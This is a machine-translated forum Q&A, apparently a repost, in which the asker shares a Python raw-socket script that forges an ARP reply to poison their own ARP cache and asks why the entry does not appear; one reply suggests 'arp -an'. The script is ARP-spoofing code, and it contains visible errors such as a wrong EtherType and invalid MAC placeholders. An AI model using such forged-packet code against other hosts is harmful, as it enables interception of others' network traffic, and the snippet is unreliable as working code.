[英]Failure in arp poisoning python (linux)
好的,所以我正在运行Ubunutu 14.04 LTS,并且我试图通过这样做来毒化自己的ARP缓存,
我的私有IP地址是10.0.0.1 。
我手机的专用IP地址是10.0.0.8 。
对于此示例,仅说我的MAC地址是axaxaxaxaxaxax 。
我编写了以下python代码:
from binascii import *
from struct import *
import socket;
class ethernetframe:
def __init__(self, destmac, srcmac, ethrtype):
self.destmac = unhexlify(destmac)
self.srcmac = unhexlify(srcmac)
self.ethrtype = unhexlify(ethrtype)
def uniteframe(self, payload):
frame = ''
frame = frame + self.destmac
frame = frame + self.srcmac
frame = frame + self.ethrtype
frame = frame + payload
frame = frame + unhexlify("00000000")
return frame
class arppacket:
def __init__(self,opcode,srcmac,srcip,dstmac,dstip):
if opcode == 1:
dstmac = "000000000000"
opcode = "0001"
else:
opcode = "0002"
self.opcode = unhexlify(opcode)
self.srcmac = unhexlify(srcmac)
self.srcip = pack('!4B',srcip[0],srcip[1],srcip[2],srcip[3])
self.dstmac = unhexlify(dstmac)
self.dstip = pack('!4B',dstip[0],dstip[1],dstip[2],dstip[3])
def unitepacket(self):
packet = ''
packet = packet + "\x00\x01\x08\x00\x06\x04"
packet = packet + self.opcode
packet = packet + self.srcmac
packet = packet + self.srcip
packet = packet + self.dstmac
packet = packet + self.dstip
return packet
e1 = ethernetframe("axaxaxaxaxax","axaxaxaxaxax","0800")
arp1 = arppacket(2,"axaxaxaxaxax",(10,0,0,8),"axaxaxaxaxax",(10,0,0,1))
arpacket = arp1.unitepacket()
fullethframe = e1.uniteframe(arpacket)
s = socket.socket(socket.AF_PACKET,socket.SOCK_RAW,socket.htons(0x0806))
s.bind(("eth0",0))
s.send(fullethframe)
现在,我正在使用Wireshark监视整个过程,正在发送ARP数据包,并且它的格式正确。在鲨鱼中,我看到以下行:
10.0.0.8位于axaxaxaxaxaxax
这表示我已经成功发送了ARP回复! 到我自己的计算机上,指出已解析为10.0.0.8的MAC地址是axaxaxaxaxaxax,因为如果接收到答复,则ARP缓存会自动更新,而如果发送了请求,这意味着在我的NIC驱动程序的arp缓存中添加了一行,表明使用axaxaxaxaxaxax解决了10.0.0.8
但是,当我在ubunutu终端中运行时
arp - a
要么
arp - an
它没有显示.....,这意味着我没有毒害自己的ARP缓存,有什么想法要解决吗?
这里只是个想法-您尝试过吗
arp -an
如果没有-n,arp将尝试在主机名上进行反向名称查找。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.